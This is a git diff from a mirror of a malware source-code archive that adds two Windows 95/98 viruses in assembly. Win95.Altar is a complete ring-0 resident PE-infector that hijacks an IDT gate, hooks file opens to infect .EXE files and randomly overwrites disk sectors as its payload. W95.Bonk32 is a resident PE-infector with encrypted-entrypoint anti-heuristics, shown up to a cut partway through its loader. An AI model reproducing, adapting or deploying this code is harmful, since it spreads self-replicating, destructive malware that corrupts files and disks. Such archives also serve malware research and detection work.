mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 23:39:23 +00:00
Folder structure change, added README
This commit is contained in:
@@ -0,0 +1,539 @@
|
||||
;============================================================================
|
||||
;
|
||||
;
|
||||
; NAME: Win95.Altar 1.01
|
||||
; OS: Windoze 95/98.
|
||||
; TYPE: Parasitic resident (VxD) PE-infector.
|
||||
; SIZE: Around 800 bytes.
|
||||
; AUTHOR: T-2000 / Immortal Riot.
|
||||
; E-MAIL: T2000_@hotmail.com
|
||||
; DATE: June 1999.
|
||||
; DESTRUCTIVE: Yeah.
|
||||
;
|
||||
; FEATURES:
|
||||
;
|
||||
; - Gains ring-0 by hacking an IDT-gate.
|
||||
; - Hosts don't increase in size.
|
||||
; - Payload: random sector-trashing.
|
||||
;
|
||||
; Here's some simple ring-0 VxD-virus, just to try-out the idea. The trash-
|
||||
; chance was set rather high, just to fuck beginners :P
|
||||
;
|
||||
;============================================================================
|
||||
|
||||
|
||||
.386p
|
||||
.MODEL FLAT
|
||||
.CODE
|
||||
|
||||
ORG 0
|
||||
|
||||
EXTRN ExitProcess:PROC
|
||||
|
||||
IFSMgr EQU 0040h
|
||||
GetHeap EQU 000Dh
|
||||
UniToBCSPath EQU 0041h
|
||||
InstallFileSystemAPIhook EQU 0067h
|
||||
Ring0_FileIO EQU 0032h
|
||||
IFSFN_OPEN EQU 36
|
||||
R0_WRITEFILE EQU 0D601h
|
||||
|
||||
Virus_Size EQU (Virus_End-START)
|
||||
Virus_Size_Mem EQU (End_Virus_Mem-START)
|
||||
|
||||
|
||||
START:
|
||||
PUSH (1000h+(Carrier-START))
|
||||
Host_EIP = DWORD PTR $-4
|
||||
|
||||
PUSHFD
|
||||
PUSHAD
|
||||
|
||||
CALL Get_Delta
|
||||
|
||||
MOV EAX, EBP
|
||||
|
||||
SUB EAX, 1000h ; Calculate base-address.
|
||||
Virus_RVA = DWORD PTR $-4
|
||||
|
||||
ADD [ESP+(9*4)], EAX ; Add base to the EIP RVA.
|
||||
|
||||
XOR EAX, EAX
|
||||
|
||||
CALL Setup_SEH ; Bail-out without errors
|
||||
; under NT.
|
||||
MOV ESP, [ESP+(2*4)]
|
||||
|
||||
JMP Return_Host
|
||||
|
||||
Setup_SEH: PUSH DWORD PTR FS:[EAX]
|
||||
MOV FS:[EAX], ESP
|
||||
|
||||
PUSH EAX ; Store IDT in EAX.
|
||||
SIDT [ESP-2]
|
||||
POP EAX
|
||||
|
||||
LEA EBX, [EBP+(Ring0_Installation-START)]
|
||||
|
||||
XCHG [EAX+(3*8)], BX ; Hack IDT-gate.
|
||||
ROR EBX, 16
|
||||
XCHG [EAX+(3*8)+6], BX
|
||||
|
||||
INT 3
|
||||
|
||||
MOV [EAX+(3*8)+6], BX ; Restore IDT-gate.
|
||||
ROL EBX, 16
|
||||
MOV [EAX+(3*8)], BX
|
||||
|
||||
Return_Host: XOR EAX, EAX ; Restore the original SEH.
|
||||
|
||||
POP DWORD PTR FS:[EAX]
|
||||
POP EAX
|
||||
|
||||
POPAD
|
||||
POPFD
|
||||
|
||||
RET ; RETurn to our host.
|
||||
|
||||
|
||||
Copyright DB '[Altar] by T-2000 / Immortal Riot', 0
|
||||
|
||||
|
||||
VxD_Ring0_FileIO:
|
||||
|
||||
INT 20h
|
||||
DW Ring0_FileIO
|
||||
DW IFSMgr
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Ring0_Installation:
|
||||
|
||||
PUSHFD
|
||||
PUSHAD
|
||||
|
||||
MOV EAX, DR2 ; Get DR2 in EAX.
|
||||
|
||||
CMP AL, 'T' ; We're already resident?
|
||||
JE Exit_R0_Inst
|
||||
|
||||
LEA EDI, [EBP+(VxD_Ring0_FileIO-START)]
|
||||
|
||||
MOV AX, 20CDh
|
||||
STOSW
|
||||
|
||||
MOV [EDI], 00400032h
|
||||
|
||||
MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)-2], AX
|
||||
MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)-2], AX
|
||||
MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)-2], AX
|
||||
|
||||
MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)], 0040000Dh
|
||||
MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)], 00400067h
|
||||
MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)], 00400041h
|
||||
|
||||
PUSH Virus_Size_Mem ; Allocate memory from the
|
||||
INT 20h ; global heap.
|
||||
DW GetHeap
|
||||
DW IFSMgr
|
||||
VxD_Call_1 = $-6
|
||||
POP ECX
|
||||
|
||||
OR EAX, EAX ; Error occurred?
|
||||
JZ Exit_R0_Inst
|
||||
|
||||
MOV ESI, EBP ; Copy us to VxD-memory.
|
||||
MOV EDI, EAX
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
MOV [EAX+(Busy_Switch-START)], ECX
|
||||
|
||||
ADD EAX, (Ring0_Hook-START)
|
||||
|
||||
PUSH EAX ; Insert our file-hook.
|
||||
INT 20h
|
||||
DW InstallFileSystemAPIhook
|
||||
DW IFSMgr
|
||||
VxD_Call_2 = $-6
|
||||
POP EBX
|
||||
|
||||
XCHG ECX, EAX ; Error?
|
||||
JECXZ Exit_R0_Inst
|
||||
|
||||
MOV [EBX+(Prev_Handler-Ring0_Hook)], ECX
|
||||
|
||||
MOV AL, 'T' ; Mark us as resident.
|
||||
MOV DR2, EAX
|
||||
|
||||
Exit_R0_Inst: POPAD
|
||||
POPFD
|
||||
|
||||
IRETD ; Back to our ring-3 part.
|
||||
|
||||
|
||||
Ring0_Hook:
|
||||
JMP $+666h
|
||||
Busy_Switch = DWORD PTR $-4
|
||||
|
||||
PUSHFD
|
||||
PUSHAD
|
||||
|
||||
CALL Get_Delta
|
||||
|
||||
MOV DWORD PTR [EBP+(Busy_Switch-START)], (JMP_Prev_Hook-Busy_Switch) - 4
|
||||
|
||||
CMP DWORD PTR [ESP+(9*4)+(2*4)], IFSFN_OPEN
|
||||
JNE Exit_Infect
|
||||
|
||||
CALL Get_Random
|
||||
|
||||
CMP DL, 5
|
||||
JA Obtain_Name
|
||||
|
||||
CALL Get_Random
|
||||
|
||||
MOV AX, 0DE02h ; R0_WRITEABSOLUTEDISK
|
||||
INC ECX
|
||||
LEA ESI, [EBP+(Copyright-START)]
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
Obtain_Name: MOV EBX, [ESP+(9*4)+(6*4)] ; IOREQ-structure.
|
||||
|
||||
MOV ESI, [EBX+(3*4)] ; Unicode-path.
|
||||
|
||||
CLD
|
||||
LODSD
|
||||
|
||||
PUSH DWORD PTR [ESP+(9*4)+(5*4)]
|
||||
PUSH 259
|
||||
PUSH ESI
|
||||
LEA ESI, [EBP+(ANSI_Target-START)]
|
||||
PUSH ESI
|
||||
INT 20h
|
||||
DW UniToBCSPath
|
||||
DW IFSMgr
|
||||
VxD_Call_3 = $-6
|
||||
|
||||
ADD ESP, (4*4) ; Fix stack.
|
||||
|
||||
OR EDX, EDX ; No problems during the
|
||||
JNZ Exit_Infect ; conversion?
|
||||
|
||||
MOV [ESI+EAX], DL
|
||||
|
||||
CMP [ESI+EAX-4], 'EXE.' ; Standard .EXE-file?
|
||||
JNE Exit_Infect
|
||||
|
||||
XOR EAX, EAX ; R0_OPENCREATFILE
|
||||
MOV AH, 0D5h
|
||||
PUSH 02h
|
||||
POP EBX
|
||||
INC EDX
|
||||
CALL VxD_Ring0_FileIO
|
||||
JC Exit_Infect
|
||||
|
||||
XCHG EBX, EAX ; Save filehandle in EBX.
|
||||
|
||||
XOR EAX, EAX ; R0_GETFILESIZE
|
||||
MOV AH, 0D8h
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
CMP EAX, 4096 ; Avoid infecting files which
|
||||
JC_Close_File: JB Close_File ; are too small.
|
||||
|
||||
MOV [EBP+(Victim_Size-START)], EAX
|
||||
|
||||
LEA EDI, [EBP+(Header-START)]
|
||||
|
||||
; Read-in the DOS MZ-header.
|
||||
|
||||
XOR EAX, EAX ; R0_READFILE
|
||||
MOV AH, 0D6h
|
||||
PUSH 40h
|
||||
POP ECX
|
||||
XOR EDX, EDX
|
||||
MOV ESI, EDI
|
||||
CALL VxD_Ring0_FileIO
|
||||
JC JC_Close_File
|
||||
|
||||
CMP [EDI.MZ_Mark], 'ZM' ; It's a valid .EXE-file?
|
||||
JNE Close_File
|
||||
|
||||
MOV EDX, [EDI+3Ch] ; Pointer to PE-header.
|
||||
|
||||
MOV [EBP+(PE_Header_Offs-START)], EDX
|
||||
|
||||
; Read-in PE-header.
|
||||
|
||||
XOR EAX, EAX ; R0_READFILE
|
||||
MOV AH, 0D6h
|
||||
PUSH 92
|
||||
POP ECX
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
CMP [EDI.PE_Mark], 'EP' ; Verify the PE-header.
|
||||
JNE Close_File
|
||||
|
||||
CMP [EDI.PE_Checksum], -666h ; Avoid infected
|
||||
JE Close_File ; files.
|
||||
|
||||
MOVZX EAX, [EDI.Object_Count]
|
||||
DEC EAX
|
||||
PUSH 40
|
||||
POP ECX
|
||||
MUL ECX
|
||||
|
||||
MOVZX DX, [EDI.NT_Header_Size]
|
||||
|
||||
LEA EDX, [EDX+24+EAX]
|
||||
|
||||
ADD EDX, [EBP+(PE_Header_Offs-START)]
|
||||
|
||||
MOV [EBP+(Last_Obj_Offset-START)], EDX
|
||||
|
||||
; Read-in the last object-header.
|
||||
|
||||
XOR EAX, EAX ; R0_READFILE
|
||||
MOV AH, 0D6h
|
||||
PUSH 40
|
||||
POP ECX
|
||||
LEA ESI, [EBP+(Last_Obj_Table-START)]
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
MOV EAX, [ESI.Section_Physical_Size]
|
||||
|
||||
CMP EAX, [ESI.Section_Virtual_Size]
|
||||
JBE Check_Size
|
||||
|
||||
MOV EAX, [ESI.Section_Virtual_Size]
|
||||
|
||||
Check_Size: PUSH EAX
|
||||
|
||||
MOV ECX, Virus_Size
|
||||
|
||||
ADD EAX, ECX
|
||||
ADD EAX, [ESI.Section_Physical_Offset]
|
||||
|
||||
CMP EAX, 12345678h ; File increases in size?
|
||||
Victim_Size = DWORD PTR $-4
|
||||
|
||||
POP EAX
|
||||
|
||||
JA Close_File ; Then abort the infect.
|
||||
|
||||
PUSH EAX
|
||||
|
||||
PUSH EAX
|
||||
|
||||
ADD EAX, ECX
|
||||
|
||||
PUSH EAX
|
||||
|
||||
MOV ECX, [EDI.File_Align]
|
||||
CALL Align_EAX
|
||||
|
||||
CMP [ESI.Section_Physical_Size], EAX
|
||||
JNB Calc_New_Virt
|
||||
|
||||
MOV [ESI.Section_Physical_Size], EAX
|
||||
|
||||
Calc_New_Virt: POP EAX
|
||||
MOV ECX, [EDI.Object_Align]
|
||||
CALL Align_EAX
|
||||
|
||||
CMP [ESI.Section_Virtual_Size], EAX
|
||||
JNB Set_New_EIP
|
||||
|
||||
ADD [EDI.Image_Size], EAX
|
||||
|
||||
XCHG [ESI.Section_Virtual_Size], EAX
|
||||
|
||||
SUB [EDI.Image_Size], EAX
|
||||
|
||||
Set_New_EIP: POP EAX
|
||||
|
||||
ADD EAX, [ESI.Section_RVA]
|
||||
|
||||
MOV [EBP+(Virus_RVA-START)], EAX
|
||||
|
||||
XCHG [EDI.EIP_RVA], EAX
|
||||
|
||||
MOV [EBP+(Host_EIP-START)], EAX
|
||||
|
||||
; Write updated object-header back to disk.
|
||||
|
||||
MOV EAX, R0_WRITEFILE
|
||||
PUSH 40
|
||||
POP ECX
|
||||
MOV EDX, 12345678h
|
||||
Last_Obj_Offset = DWORD PTR $-4
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
POP EDX
|
||||
|
||||
; Insert virus-body into our victim.
|
||||
|
||||
MOV EAX, R0_WRITEFILE
|
||||
MOV ECX, Virus_Size
|
||||
ADD EDX, [ESI.Section_Physical_Offset]
|
||||
MOV ESI, EBP
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
; Mark file as infected.
|
||||
|
||||
MOV [EDI.PE_Checksum], -666h
|
||||
|
||||
; Write updated PE-header back to disk.
|
||||
|
||||
MOV EAX, R0_WRITEFILE
|
||||
PUSH 92
|
||||
POP ECX
|
||||
MOV EDX, 12345678h
|
||||
PE_Header_Offs = DWORD PTR $-4
|
||||
MOV ESI, EDI
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
; Close the file.
|
||||
|
||||
Close_File: XOR EAX, EAX ; R0_CLOSEFILE
|
||||
MOV AH, 0D7h
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
Exit_Infect: XOR EAX, EAX ; Reset busy-flag.
|
||||
|
||||
MOV [EBP+(Busy_Switch-START)], EAX
|
||||
|
||||
POPAD
|
||||
POPFD
|
||||
|
||||
JMP_Prev_Hook: JMP DS:[12345678h]
|
||||
Prev_Handler = DWORD PTR $-4
|
||||
|
||||
|
||||
DB 'Awaiting the sacrifice...', 0
|
||||
|
||||
|
||||
Align_EAX:
|
||||
XOR EDX, EDX
|
||||
DIV ECX
|
||||
|
||||
OR EDX, EDX
|
||||
JZ Calc_Aligned
|
||||
|
||||
INC EAX
|
||||
|
||||
Calc_Aligned: MUL ECX
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Get_Delta:
|
||||
CALL Get_EIP
|
||||
Get_EIP: POP EBP
|
||||
SUB EBP, (Get_EIP-START)
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Get_Random:
|
||||
IN EAX, 40h
|
||||
ADD EDX, EAX
|
||||
|
||||
Randomize: IN EAX, 40h
|
||||
XCHG AH, AL
|
||||
|
||||
ADD EAX, 0DEADBEEFh
|
||||
|
||||
RCL EDX, 3
|
||||
|
||||
XOR EDX, EAX
|
||||
|
||||
LOOP Randomize
|
||||
|
||||
RET
|
||||
|
||||
Virus_End:
|
||||
|
||||
ANSI_Target DB 260 DUP(0)
|
||||
|
||||
Header DB 92 DUP(0)
|
||||
|
||||
Last_Obj_Table DB 40 DUP(0)
|
||||
|
||||
End_Virus_Mem:
|
||||
|
||||
|
||||
Carrier:
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
|
||||
|
||||
|
||||
; The good old MZ-header...
|
||||
|
||||
MZ_Header STRUC
|
||||
MZ_Mark DW 0
|
||||
MZ_Image_Mod_512 DW 0
|
||||
MZ_Image_512_Pages DW 0
|
||||
MZ_Reloc_Items DW 0
|
||||
MZ_Header_Size_Mem DW 0
|
||||
MZ_Min_Size_Mem DW 0
|
||||
MZ_Max_Size_Mem DW 0
|
||||
MZ_Program_SS DW 0
|
||||
MZ_Program_SP DW 0
|
||||
MZ_Checksum DW 0
|
||||
MZ_Program_IP DW 0
|
||||
MZ_Program_CS DW 0
|
||||
MZ_Reloc_Table DW 0
|
||||
MZ_Header ENDS
|
||||
|
||||
|
||||
PE_Header STRUC
|
||||
PE_Mark DD 0 ; PE-marker (PE/0/0).
|
||||
CPU_Type DW 0 ; Minimal CPU required.
|
||||
Object_Count DW 0 ; Number of sections in PE.
|
||||
DD 0
|
||||
Reserved_1 DD 0
|
||||
DD 0
|
||||
NT_Header_Size DW 0
|
||||
PE_Flags DW 0
|
||||
DD 4 DUP(0)
|
||||
EIP_RVA DD 0
|
||||
DD 2 DUP(0)
|
||||
Image_Base DD 0
|
||||
Object_Align DD 0
|
||||
File_Align DD 0
|
||||
DW 0, 0
|
||||
DW 0, 0
|
||||
DW 0, 0
|
||||
PE_Reserved_5 DD 0
|
||||
Image_Size DD 0
|
||||
Headers_Size DD 0
|
||||
PE_Checksum DD 0
|
||||
DW 0
|
||||
DLL_Flags DW 0
|
||||
PE_Header ENDS
|
||||
|
||||
|
||||
Section_Header STRUC
|
||||
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
|
||||
Section_Virtual_Size DD 0 ; Memory-size of section.
|
||||
Section_RVA DD 0 ; Start section in memory.
|
||||
Section_Physical_Size DD 0 ; Section-size in file.
|
||||
Section_Physical_Offset DD 0 ; Section file-offset.
|
||||
Section_Reserved_1 DD 0 ; Not used for executables.
|
||||
Section_Reserved_2 DD 0 ; Not used for executables.
|
||||
Section_Reserved_3 DD 0 ; Not used for executables.
|
||||
Section_Flags DD 0 ; Flags of the section.
|
||||
Section_Header ENDS
|
||||
|
||||
|
||||
END START
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,556 @@
|
||||
;[W95.BONK32] Resident PE infector
|
||||
;Copyright 1998 (c) Vecna
|
||||
;
|
||||
;This virus is the 2nd PE infector i wrote, and is a memory resident infector
|
||||
;designed exclusively for win95/98. It shouldnt work neither in winNT or in
|
||||
;w32s. It patches the IDT, that isnt protected in w95/98, modifies a vector
|
||||
;to point code into the virus, and execute this interrupt. As the code is
|
||||
;executed in ring0, the virus alloc memory and read from the host file the
|
||||
;rest of the virus code. It then jump to this virus part, that hook IFS and
|
||||
;restore the host.
|
||||
;
|
||||
;Always a EXE file is open, the virus handler take control, and infect it.
|
||||
;The virus body is appended as a overlay to the end of host, without any
|
||||
;physical link to host, and a small loader is stored into the free space of
|
||||
;the PE header.
|
||||
;
|
||||
;If the host file dont have relocationz, the virus encript the original
|
||||
;entrypoint and patch it with a jump to the virus loader. The key for the code
|
||||
;encripted is not saved, but a CRC32 of it unencripted is stored. When the
|
||||
;virus restore it, it must try all keyz, what can be time costly for AVerz.
|
||||
;
|
||||
;As the original entrypoint dont change, and the virus code isnt linked to
|
||||
;host, beside the loader, this work as a anti-heuristic feature.
|
||||
;
|
||||
;Early versionz haved a bug, that cause a crash in everybody machine beside
|
||||
;mine. This was because a non-fixed call to int 0x20. Some lines added and
|
||||
;now it work fine.
|
||||
;
|
||||
;W95.Bonk32 is written using NASM sintax, that showed very efficient for my
|
||||
;viral needz, as provide more control over the generated code . To compile
|
||||
;you will need NASM, LINK from Microsoft and PEWRSEC from Jacky Qwerty/29A.
|
||||
;You also will need any MAKE utility (Borland, Microsoft and LCC ones work).
|
||||
;then debug it using SOFT-ICE till u get the point that the virus open host
|
||||
;at this point, change esi to point to a unused area (ECX hold one), then
|
||||
;then edit this memory (D ESI;EB) and type the dir you are and \bonk32 at the
|
||||
;end. Then make the virus go(BC *;G).
|
||||
;
|
||||
;Or, better, run the pre-compiled file. It will execute and stay resident.
|
||||
;All open files will be infected then. Remeber that the pre-compiled file
|
||||
;must reside in root dir of C:, else it will crash.
|
||||
;
|
||||
;I must thank 2 people: the AV that discovered the bug, and Alchemy, that
|
||||
;gimme the EIP of the fault and make possible to me fix it.
|
||||
|
||||
[bits 32]
|
||||
[section .text]
|
||||
[global _main]
|
||||
|
||||
%define true 1
|
||||
%define false 0
|
||||
|
||||
%define debug false
|
||||
%define userda true
|
||||
|
||||
%define buffer bname + 0x100
|
||||
%define buffer2 buffer + 0x1000
|
||||
|
||||
%macro vxdcall 2
|
||||
int 0x20
|
||||
dw %2
|
||||
dw %1
|
||||
%endmacro
|
||||
|
||||
hook:
|
||||
enter 0x20, 0x00 ;setup stack frame
|
||||
push ecx
|
||||
push ebx
|
||||
call .delta
|
||||
.delta:
|
||||
pop ebx
|
||||
sub ebx, .delta
|
||||
cmp dword [ebp+0x0C], byte 0x24
|
||||
jne .noopen ;only hookz ifs_opne
|
||||
cmp byte [ebx+recurse], byte 0x00
|
||||
jne .noopen ;no re-enter
|
||||
inc byte [ebx+recurse]
|
||||
pushad
|
||||
call dynacall ;fix dynamic int20 calls
|
||||
call uni2ansi
|
||||
call infect ;replicate
|
||||
popad
|
||||
dec byte [ebx+recurse]
|
||||
.noopen:
|
||||
mov ecx, 0x06 ;total=6 paramz
|
||||
mov ebx, 0x1C
|
||||
.nparam:
|
||||
mov eax, [ebp+ebx] ;copy paramz from old frame
|
||||
push eax ;to new frame
|
||||
sub ebx, 4
|
||||
loop .nparam
|
||||
db 0xb8
|
||||
oldhook dd 0
|
||||
call [eax] ;call old hookz
|
||||
add esp, byte 0x18
|
||||
pop ebx
|
||||
pop ecx
|
||||
leave
|
||||
ret
|
||||
|
||||
db '[BONK32] by Vecna/29A', 0x00
|
||||
|
||||
dynacall:
|
||||
pushad
|
||||
cld
|
||||
mov ax, 0x20CD
|
||||
call .odynatable
|
||||
.dynatable:
|
||||
dw 0x67, 0x40
|
||||
dw 0x32, 0x40
|
||||
dw 0x0D, 0x40 ;function, vxd
|
||||
dw 0x41, 0x40
|
||||
dw 0x32, 0x40
|
||||
.odynatable:
|
||||
pop esi
|
||||
mov edi, esi
|
||||
add edi, fix1-.dynatable
|
||||
stosw ;make vxd calls to dynamic
|
||||
movsd ;int20 code
|
||||
add edi, IFS-fix1-6
|
||||
stosw
|
||||
movsd
|
||||
add edi, byte fix3-IFS-6
|
||||
stosw
|
||||
movsd
|
||||
add edi, fix4-fix3-6 ;make all fixes
|
||||
stosw
|
||||
movsd
|
||||
popad
|
||||
ret
|
||||
|
||||
uni2ansi:
|
||||
pushad
|
||||
lea edi, [ebx+bname]
|
||||
mov eax, [ebp+0x10]
|
||||
cmp al, -1
|
||||
jz .drive
|
||||
add al, '@' ;make number2letter
|
||||
stosb
|
||||
mov al, ':'
|
||||
stosb
|
||||
.drive:
|
||||
sub eax, eax
|
||||
push eax
|
||||
mov eax, 0x100
|
||||
push eax
|
||||
mov eax, [ebp+0x1C]
|
||||
mov eax, [eax+0x0C]
|
||||
add eax, byte 0x04
|
||||
push eax
|
||||
push edi
|
||||
fix4:
|
||||
vxdcall 0x40, 0x41 ;make unicode2ansi
|
||||
add esp, byte 0x10
|
||||
add edi, eax
|
||||
sub eax, eax
|
||||
stosb
|
||||
popad
|
||||
ret
|
||||
|
||||
infect:
|
||||
lea edi, [ebx+bname]
|
||||
mov ebp, edi
|
||||
mov ecx, 0x100
|
||||
sub eax, eax
|
||||
cld
|
||||
repne scasb ;end of name
|
||||
or ecx, ecx
|
||||
jz near error
|
||||
cmp dword [edi-0x05], '.EXE'
|
||||
jne near error ;only infect exe files
|
||||
%if debug == true
|
||||
cmp dword [edi-0x09], 'BAIT'
|
||||
jne near error ;debug code
|
||||
%endif
|
||||
mov eax, 0xD500
|
||||
sub ecx, ecx
|
||||
mov edx, ecx
|
||||
inc edx
|
||||
mov ebx, edx
|
||||
inc ebx
|
||||
mov esi, ebp
|
||||
call IFS ;open it
|
||||
jc near error
|
||||
call .delta
|
||||
.delta:
|
||||
pop ebp
|
||||
sub ebp, .delta ;ebp hold delta offset
|
||||
mov ebx, eax
|
||||
mov eax, 0xD600
|
||||
sub edx, edx
|
||||
mov ecx, 0x1000
|
||||
lea esi, [ebp+buffer]
|
||||
call IFS ;read pe headerz
|
||||
jc near errorclose
|
||||
mov ax, word [esi]
|
||||
add al, ah
|
||||
cmp al, 0xA7
|
||||
jne near errorclose ;not exe
|
||||
mov edi, [esi+0x3C]
|
||||
mov [ebp+mz_size], edi
|
||||
cmp edi, 0xE00
|
||||
ja near errorclose ;buffer overflow
|
||||
add edi, esi
|
||||
cmp dword [edi], 'PE'
|
||||
jne near errorclose ;not pe newexe
|
||||
mov eax, 'BONK'
|
||||
cmp [edi+88], eax
|
||||
mov [edi+88], eax
|
||||
jz near errorclose ;already infected
|
||||
cmp word [edi+4], 0x014C ;run in a 386?
|
||||
jnz near errorclose
|
||||
bt word [edi+22], 1 ;executable?
|
||||
jnc near errorclose
|
||||
bt word [edi+22], 0x0D ;dll?
|
||||
jc near errorclose
|
||||
mov eax, [edi+40]
|
||||
add eax, [edi+52] ;mementry==imagebase+entrypont
|
||||
mov [ebp+loader.entrypoint], eax
|
||||
movzx eax, word [edi+6]
|
||||
imul eax, eax, 40
|
||||
movzx ecx, word [edi+20] ;sum size of all headerz
|
||||
add eax, ecx
|
||||
add eax, 24
|
||||
mov ecx, eax
|
||||
add eax, edi
|
||||
add ecx, lsize
|
||||
cmp dword [edi+84], ecx ;total size of headerz
|
||||
jc near errorclose ;enought to loader?
|
||||
push eax
|
||||
push edi
|
||||
mov edi, eax
|
||||
mov ecx, lsize
|
||||
lea esi, [ebp+loader]
|
||||
rep movsb ;copy loader to pe header
|
||||
lea esi, [ebp+bname]
|
||||
.nextbyte:
|
||||
lodsb
|
||||
stosb
|
||||
test al, al
|
||||
jnz .nextbyte ;copy host name
|
||||
pop edi
|
||||
pop eax
|
||||
sub eax, edi
|
||||
cmp [edi+160], ecx
|
||||
jne near .relocs
|
||||
cmp [edi+164], ecx
|
||||
jne near .relocs ;shit, relocz present
|
||||
%if userda == true
|
||||
push ebx
|
||||
mov dword [ebp+jmpentry], eax ;signal rda used
|
||||
movzx ecx, word [edi+20]
|
||||
add ecx, edi
|
||||
add ecx, 24-0x28
|
||||
.next:
|
||||
add ecx, 0x28
|
||||
mov edx, [edi+40]
|
||||
sub edx, [ecx+12] ;is EIP pointing inside
|
||||
cmp edx, [ecx+8] ;this section?
|
||||
jnb .next
|
||||
or dword [ecx+36], 80000000h ;make section writeable
|
||||
add edx, [ecx+20] ;edx point physical entrypoint
|
||||
push edx
|
||||
push eax ;save virus entry
|
||||
mov eax, 0xD600
|
||||
mov ecx, 0x100
|
||||
lea esi, [ebp+buffer2] ;esi point entrycode
|
||||
call IFS ;read entry code
|
||||
push esi
|
||||
push edi
|
||||
push esi
|
||||
mov eax, 0x100
|
||||
push eax
|
||||
push esi
|
||||
push eax
|
||||
call crc32 ;calc crc32 of 100h bytes
|
||||
mov [ebp+rdacrc32], eax
|
||||
pop ecx
|
||||
pop esi
|
||||
pop edi
|
||||
in al, 0x40
|
||||
.rdaloop:
|
||||
xor byte [esi], al ;encript crc32ed code
|
||||
inc esi
|
||||
loop .rdaloop
|
||||
pop esi
|
||||
push edi
|
||||
lea edi, [ebp+hostcode]
|
||||
movsd
|
||||
movsb ;save entrycode
|
||||
pop edi
|
||||
xchg esi, edi ;edi point to entrycode
|
||||
sub edi, byte 5
|
||||
mov al, 0xE9 ;esi point to pe header
|
||||
stosb
|
||||
pop edx
|
||||
sub edx, [esi+40]
|
||||
mov eax, edx
|
||||
sub eax, 5
|
||||
add eax, dword [ebp+mz_size]
|
||||
stosd ;store displacement
|
||||
mov edi, esi
|
||||
pop edx
|
||||
mov eax, 0xD601
|
||||
mov ecx, 0x100
|
||||
lea esi, [ebp+buffer2]
|
||||
pop ebx
|
||||
call IFS ;write pe headerz
|
||||
jmp .norelocs
|
||||
%endif
|
||||
.relocs:
|
||||
mov dword [ebp+jmpentry], ecx ;flag as normal file
|
||||
add eax, dword [ebp+mz_size]
|
||||
mov [edi+40], eax ;set new entrypoint
|
||||
.norelocs:
|
||||
mov eax, 0xD601
|
||||
sub edx, edx
|
||||
mov ecx, dword [edi+84]
|
||||
lea esi, [ebp+buffer]
|
||||
call IFS ;write pe headerz
|
||||
mov eax, 0xD800
|
||||
call IFS ;get filesize
|
||||
mov edx, 0xD601
|
||||
xchg eax, edx
|
||||
mov ecx, vsize
|
||||
mov esi, ebp
|
||||
call IFS ;write overlay code
|
||||
errorclose:
|
||||
mov eax, 0xD700
|
||||
call IFS ;close file
|
||||
error:
|
||||
ret
|
||||
|
||||
rdacrc32 dd 0
|
||||
jmpentry dd 0
|
||||
hostcode dd 0
|
||||
db 0
|
||||
recurse db 0
|
||||
mz_size dd 0
|
||||
|
||||
install:
|
||||
sub edx, edx
|
||||
sub esi, install ;esi point to start of vcode
|
||||
push esi
|
||||
mov dword [esi+recurse], edx
|
||||
mov eax, 0xD700
|
||||
call IFS ;close file
|
||||
or ebp, ebp
|
||||
jns skip
|
||||
fix1:
|
||||
vxdcall 0x40, 0x67 ;hook ifs
|
||||
skip:
|
||||
pop ecx
|
||||
mov [esi+oldhook], eax
|
||||
.restore:
|
||||
%if userda == true
|
||||
cmp dword [esi+jmpentry], byte 0x0
|
||||
jz .norda ;was rda used?
|
||||
push esi
|
||||
mov edi, [esi+loader.entrypoint]
|
||||
lea esi, [esi+hostcode]
|
||||
movsd
|
||||
movsb ;restore init code
|
||||
pop esi
|
||||
push dword 0x100
|
||||
push dword [esi+rdacrc32]
|
||||
push dword [esi+loader.entrypoint]
|
||||
call rda ;rda decript host
|
||||
.norda:
|
||||
%endif
|
||||
ret
|
||||
|
||||
%if userda == true
|
||||
crc32_pbfr equ +0x0C
|
||||
crc32_sz equ +0x08
|
||||
crc32_ret@ equ +0x04
|
||||
crc32_ebp@ equ +0x00
|
||||
|
||||
crc32:
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
mov esi, [ebp+crc32_pbfr]
|
||||
mov edi, [ebp+crc32_sz] ;setup regz
|
||||
push byte -1
|
||||
pop ecx ;init crc32
|
||||
mov edx, ecx
|
||||
.aa:
|
||||
sub eax, eax
|
||||
mov ebx, eax
|
||||
lodsb ;get byte
|
||||
xor al, cl
|
||||
mov cl, ch
|
||||
mov ch, dl
|
||||
mov dl, dh
|
||||
mov dh, 8
|
||||
.ab:
|
||||
shr bx, 1
|
||||
rcr ax, 1
|
||||
jnc .ac
|
||||
xor ax, 0x08320 ;logarithm
|
||||
xor bx, 0x0edb8
|
||||
.ac:
|
||||
dec dh
|
||||
jnz .ab
|
||||
xor ecx, eax
|
||||
xor edx, ebx
|
||||
dec edi
|
||||
jnz .aa ;next byte
|
||||
not edx
|
||||
not ecx
|
||||
shl ecx, 16 ;cx:dx to ecx
|
||||
mov cx, dx
|
||||
mov eax, ecx
|
||||
pop ebp
|
||||
ret 8
|
||||
%endif
|
||||
|
||||
_main
|
||||
|
||||
loader:
|
||||
pushad
|
||||
call .seh
|
||||
mov esp, [esp+8]
|
||||
jmp .removeseh
|
||||
.seh:
|
||||
sub edx, edx
|
||||
fs push dword [edx]
|
||||
fs mov dword [edx], esp ;seh frame set
|
||||
call .delta
|
